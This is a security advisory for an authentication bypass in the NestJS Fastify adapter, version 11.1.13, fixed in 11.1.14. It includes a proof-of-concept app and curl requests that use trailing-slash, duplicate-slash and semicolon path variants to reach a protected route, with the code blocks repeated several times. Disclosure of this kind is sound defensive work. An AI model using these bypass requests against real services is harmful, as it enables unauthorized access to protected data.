NestJS 11.1.13 - Lack of data validation allowing authentication/authorization bypass

8,2

High

Discovered by

Cristian Vargas

Offensive Team, Fluid Attacks

Summary

Full name

NestJS 11.1.13 - Lack of data validation allowing authentication/authorization bypass

Code name

State

Public

Release date

27 de fev. de 2026

Affected product

nest.js

Vendor

nest.js

Affected version(s)

11.1.13

Fixed version(s)

11.1.14

Package manager

npm

Vulnerability name

Lack of data validation

Remotely exploitable

Yes

CVSS v4.0 vector string

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

CVSS v4.0 base score

8.2

Exploit available

Yes

CVE ID(s)

Description

A NestJS application using @nestjs/platform-fastify can allow bypass of authentication/authorization middleware when Fastify path-normalization options (e.g., ignoreTrailingSlash, ignoreDuplicateSlashes, useSemicolonDelimiter) are enabled. In affected route-scoped middleware setups, variant paths may skip middleware checks while still reaching the protected handler.

Vulnerability

The bug is a path canonicalization mismatch between middleware matching and route matching in Nest’s Fastify adapter.

  1. Nest passes Fastify routerOptions (such as ignoreTrailingSlash, ignoreDuplicateSlashes, and useSemicolonDelimiter) to the Fastify router in packages/platform-fastify/adapters/fastify-adapter.ts:253.

  2. But middleware execution is decided by a separate regex check over req.originalUrl in packages/platform-fastify/adapters/fastify-adapter.ts:706 and packages/platform-fastify/adapters/fastify-adapter.ts:713.

  3. If that regex does not match, Nest does next() and skips the middleware (packages/platform-fastify/adapters/fastify-adapter.ts:714), while Fastify may still normalize the same path and route it to the protected handler. So the vulnerability exists because security checks (middleware) and request dispatch(router) use different URL interpretations.

This is a fail-open design issue (inconsistent normalization), not just a bad app config: non-default router options make the mismatch reachable.

PoC

  • Use the following code for the PoC

import 'reflect-metadata';
import {
  Controller,
  Get,
  Injectable,
  MiddlewareConsumer,
  Module,
  NestModule,
  RequestMethod,
} from '@nestjs/common';
import { NestFactory } from '@nestjs/core';
import { FastifyAdapter, NestFastifyApplication } from '@nestjs/platform-fastify';

@Injectable()
class AuthMiddleware {
  use(req: any, res: any, next: () => void) {
    if (req.headers['x-auth'] === '1') {
      return next();
    }
    res.statusCode = 401;
    res.end('unauthorized');
  }
}

@Controller()
class AppController {
  @Get('secret')
  getSecret() {
    return { ok: true, secret: 'top-secret' };
  }
}

@Module({
  controllers: [AppController],
})
class AppModule implements NestModule {
  configure(consumer: MiddlewareConsumer) {
    consumer
      .apply(AuthMiddleware)
      .forRoutes({ path: 'secret', method: RequestMethod.GET });
  }
}

async function bootstrap() {
  const host = process.env.HOST ?? '127.0.0.1';
  const port = Number(process.env.PORT ?? 46090);

  const app = await NestFactory.create<NestFastifyApplication>(
    AppModule,
    new FastifyAdapter({
      routerOptions: {
        useSemicolonDelimiter: true,
        ignoreTrailingSlash: true,
        ignoreDuplicateSlashes: true,
      },
    } as any),
    { logger: ['log', 'error', 'warn'] },
  );

  await app.listen(port, host);

  console.log(`[ready] http://${host}:${port}`);
  console.log(`[check] base blocked: curl -i http://${host}:${port}/secret`);
  console.log(`[check] slash bypass: curl -i http://${host}:${port}/secret/`);
  console.log(`[check] dup slash bypass: curl -i http://${host}:${port}//secret`);
  console.log(
    `[check] semicolon bypass: curl -i http://${host}:${port}/secret;foo=bar`,
  );
}

bootstrap().catch(err => {
  console.error('[fatal]', err);
  process.exit(1);
});
import 'reflect-metadata';
import {
  Controller,
  Get,
  Injectable,
  MiddlewareConsumer,
  Module,
  NestModule,
  RequestMethod,
} from '@nestjs/common';
import { NestFactory } from '@nestjs/core';
import { FastifyAdapter, NestFastifyApplication } from '@nestjs/platform-fastify';

@Injectable()
class AuthMiddleware {
  use(req: any, res: any, next: () => void) {
    if (req.headers['x-auth'] === '1') {
      return next();
    }
    res.statusCode = 401;
    res.end('unauthorized');
  }
}

@Controller()
class AppController {
  @Get('secret')
  getSecret() {
    return { ok: true, secret: 'top-secret' };
  }
}

@Module({
  controllers: [AppController],
})
class AppModule implements NestModule {
  configure(consumer: MiddlewareConsumer) {
    consumer
      .apply(AuthMiddleware)
      .forRoutes({ path: 'secret', method: RequestMethod.GET });
  }
}

async function bootstrap() {
  const host = process.env.HOST ?? '127.0.0.1';
  const port = Number(process.env.PORT ?? 46090);

  const app = await NestFactory.create<NestFastifyApplication>(
    AppModule,
    new FastifyAdapter({
      routerOptions: {
        useSemicolonDelimiter: true,
        ignoreTrailingSlash: true,
        ignoreDuplicateSlashes: true,
      },
    } as any),
    { logger: ['log', 'error', 'warn'] },
  );

  await app.listen(port, host);

  console.log(`[ready] http://${host}:${port}`);
  console.log(`[check] base blocked: curl -i http://${host}:${port}/secret`);
  console.log(`[check] slash bypass: curl -i http://${host}:${port}/secret/`);
  console.log(`[check] dup slash bypass: curl -i http://${host}:${port}//secret`);
  console.log(
    `[check] semicolon bypass: curl -i http://${host}:${port}/secret;foo=bar`,
  );
}

bootstrap().catch(err => {
  console.error('[fatal]', err);
  process.exit(1);
});
import 'reflect-metadata';
import {
  Controller,
  Get,
  Injectable,
  MiddlewareConsumer,
  Module,
  NestModule,
  RequestMethod,
} from '@nestjs/common';
import { NestFactory } from '@nestjs/core';
import { FastifyAdapter, NestFastifyApplication } from '@nestjs/platform-fastify';

@Injectable()
class AuthMiddleware {
  use(req: any, res: any, next: () => void) {
    if (req.headers['x-auth'] === '1') {
      return next();
    }
    res.statusCode = 401;
    res.end('unauthorized');
  }
}

@Controller()
class AppController {
  @Get('secret')
  getSecret() {
    return { ok: true, secret: 'top-secret' };
  }
}

@Module({
  controllers: [AppController],
})
class AppModule implements NestModule {
  configure(consumer: MiddlewareConsumer) {
    consumer
      .apply(AuthMiddleware)
      .forRoutes({ path: 'secret', method: RequestMethod.GET });
  }
}

async function bootstrap() {
  const host = process.env.HOST ?? '127.0.0.1';
  const port = Number(process.env.PORT ?? 46090);

  const app = await NestFactory.create<NestFastifyApplication>(
    AppModule,
    new FastifyAdapter({
      routerOptions: {
        useSemicolonDelimiter: true,
        ignoreTrailingSlash: true,
        ignoreDuplicateSlashes: true,
      },
    } as any),
    { logger: ['log', 'error', 'warn'] },
  );

  await app.listen(port, host);

  console.log(`[ready] http://${host}:${port}`);
  console.log(`[check] base blocked: curl -i http://${host}:${port}/secret`);
  console.log(`[check] slash bypass: curl -i http://${host}:${port}/secret/`);
  console.log(`[check] dup slash bypass: curl -i http://${host}:${port}//secret`);
  console.log(
    `[check] semicolon bypass: curl -i http://${host}:${port}/secret;foo=bar`,
  );
}

bootstrap().catch(err => {
  console.error('[fatal]', err);
  process.exit(1);
});
import 'reflect-metadata';
import {
  Controller,
  Get,
  Injectable,
  MiddlewareConsumer,
  Module,
  NestModule,
  RequestMethod,
} from '@nestjs/common';
import { NestFactory } from '@nestjs/core';
import { FastifyAdapter, NestFastifyApplication } from '@nestjs/platform-fastify';

@Injectable()
class AuthMiddleware {
  use(req: any, res: any, next: () => void) {
    if (req.headers['x-auth'] === '1') {
      return next();
    }
    res.statusCode = 401;
    res.end('unauthorized');
  }
}

@Controller()
class AppController {
  @Get('secret')
  getSecret() {
    return { ok: true, secret: 'top-secret' };
  }
}

@Module({
  controllers: [AppController],
})
class AppModule implements NestModule {
  configure(consumer: MiddlewareConsumer) {
    consumer
      .apply(AuthMiddleware)
      .forRoutes({ path: 'secret', method: RequestMethod.GET });
  }
}

async function bootstrap() {
  const host = process.env.HOST ?? '127.0.0.1';
  const port = Number(process.env.PORT ?? 46090);

  const app = await NestFactory.create<NestFastifyApplication>(
    AppModule,
    new FastifyAdapter({
      routerOptions: {
        useSemicolonDelimiter: true,
        ignoreTrailingSlash: true,
        ignoreDuplicateSlashes: true,
      },
    } as any),
    { logger: ['log', 'error', 'warn'] },
  );

  await app.listen(port, host);

  console.log(`[ready] http://${host}:${port}`);
  console.log(`[check] base blocked: curl -i http://${host}:${port}/secret`);
  console.log(`[check] slash bypass: curl -i http://${host}:${port}/secret/`);
  console.log(`[check] dup slash bypass: curl -i http://${host}:${port}//secret`);
  console.log(
    `[check] semicolon bypass: curl -i http://${host}:${port}/secret;foo=bar`,
  );
}

bootstrap().catch(err => {
  console.error('[fatal]', err);
  process.exit(1);
});
  • Send baseline request (should be blocked)

    curl -i http://127.0.0.1:46150/secret
    Expected: 401
    
    
    curl -i http://127.0.0.1:46150/secret
    Expected: 401
    
    
    curl -i http://127.0.0.1:46150/secret
    Expected: 401
    
    
    curl -i http://127.0.0.1:46150/secret
    Expected: 401
    
    
  • Send variant paths (bypass)

    curl -i http://127.0.0.1:46150/secret/
    curl -i http://127.0.0.1:46150//secret
    curl -i 'http://127.0.0.1:46150/secret;foo=bar'
    Expected: 200
    
    
    curl -i http://127.0.0.1:46150/secret/
    curl -i http://127.0.0.1:46150//secret
    curl -i 'http://127.0.0.1:46150/secret;foo=bar'
    Expected: 200
    
    
    curl -i http://127.0.0.1:46150/secret/
    curl -i http://127.0.0.1:46150//secret
    curl -i 'http://127.0.0.1:46150/secret;foo=bar'
    Expected: 200
    
    
    curl -i http://127.0.0.1:46150/secret/
    curl -i http://127.0.0.1:46150//secret
    curl -i 'http://127.0.0.1:46150/secret;foo=bar'
    Expected: 200
    
    
  • Control request with an auth header

    curl -i -H 'x-auth: 1' http://127.0.0.1:46150/secret
    Expected: 200
    
    
    curl -i -H 'x-auth: 1' http://127.0.0.1:46150/secret
    Expected: 200
    
    
    curl -i -H 'x-auth: 1' http://127.0.0.1:46150/secret
    Expected: 200
    
    
    curl -i -H 'x-auth: 1' http://127.0.0.1:46150/secret
    Expected: 200
    
    

Evidence of Exploitation

  • Unauthorized

  • Bypass

  • PoC

Our security policy

We have reserved the ID CVE-2026-2293 to refer to this issue from now on.

Disclosure policy

System Information

  • NestJS

  • Version 11.1.13

  • Operating System: Any

References

Mitigation

An updated version of Nest.js is available at the vendor page.

Credits

The vulnerability was discovered by Cristian Vargas from Fluid Attacks' Offensive Team.

Timeline

9 de fev. de 2026

Vulnerability discovered

10 de fev. de 2026

Vendor contacted

16 de fev. de 2026

Vendor replied

17 de fev. de 2026

Vendor confirmed

17 de fev. de 2026

Vulnerability patched

27 de fev. de 2026

Public disclosure

Does your application use this vulnerable software?

During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for their remediation.

As soluções da Fluid Attacks permitem que as organizações identifiquem, priorizem e corrijam vulnerabilidades em seus softwares ao longo do SDLC. Com o apoio de IA, ferramentas automatizadas e pentesters, a Fluid Attacks acelera a mitigação da exposição ao risco das empresas e fortalece sua postura de cibersegurança.

Consulta IA sobre Fluid Attacks

Assine nossa newsletter

Mantenha-se atualizado sobre nossos próximos eventos e os últimos posts do blog, advisories e outros recursos interessantes.

As soluções da Fluid Attacks permitem que as organizações identifiquem, priorizem e corrijam vulnerabilidades em seus softwares ao longo do SDLC. Com o apoio de IA, ferramentas automatizadas e pentesters, a Fluid Attacks acelera a mitigação da exposição ao risco das empresas e fortalece sua postura de cibersegurança.

Assine nossa newsletter

Mantenha-se atualizado sobre nossos próximos eventos e os últimos posts do blog, advisories e outros recursos interessantes.

Mantenha-se atualizado sobre nossos próximos eventos e os últimos posts do blog, advisories e outros recursos interessantes.

As soluções da Fluid Attacks permitem que as organizações identifiquem, priorizem e corrijam vulnerabilidades em seus softwares ao longo do SDLC. Com o apoio de IA, ferramentas automatizadas e pentesters, a Fluid Attacks acelera a mitigação da exposição ao risco das empresas e fortalece sua postura de cibersegurança.

Assine nossa newsletter

Mantenha-se atualizado sobre nossos próximos eventos e os últimos posts do blog, advisories e outros recursos interessantes.

Mantenha-se atualizado sobre nossos próximos eventos e os últimos posts do blog, advisories e outros recursos interessantes.

Nos vemos na RSA Conference™ 2026, no estande N-4614! Agende uma demo no local.

Nos vemos na RSA Conference™ 2026, no estande N-4614! Agende uma demo no local.

Nos vemos na RSA Conference™ 2026, no estande N-4614! Agende uma demo no local.